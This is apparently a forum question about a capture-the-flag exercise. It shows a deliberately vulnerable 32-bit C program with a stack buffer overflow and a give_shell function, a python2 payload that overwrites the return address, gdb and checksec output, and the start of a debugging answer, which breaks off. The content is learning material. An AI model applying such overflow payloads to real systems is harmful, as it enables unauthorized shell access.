Here's the output:
pwndbg> p give_shell
$5 = {void ()} 0x8049217 <give_shell>
So if I write this payload python2 -c "print 'A'*104 + '\x1B\x92\x04\x08' + '\x17\x92\x04\x08'" > fatman
and run the program in gdb with this payload. Rather than spawning a shell it gives the following error Idk why.
Why is it happening? and how to spawn a shell? Here's the source code:
#include <stdio.h>
int main() {
int secret = 0xdeadbeef;
char name[100] = {0};
read(0, name, 0x100);
if (secret == 0x1337) {
puts("Wow! Here's a secret.");
} else {
puts("I guess you're not cool enough to see my secret");
}
}
void give_shell() {
system("/bin/sh");
}
I compiled it using gcc -m32 -no-pie -fno-pie -g -fno-stack-protector feed_me_more.c
Here's the checksec:
pegasus@pegasus:~/Documents/ReSINC_CTF$ checksec --file=a.out
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 40 Symbols No 0 1 a.out
checksec
output of your compiled binary as well.read()
and step through. You can then observe the stack being corrupted and which registers are controlled when the main function returns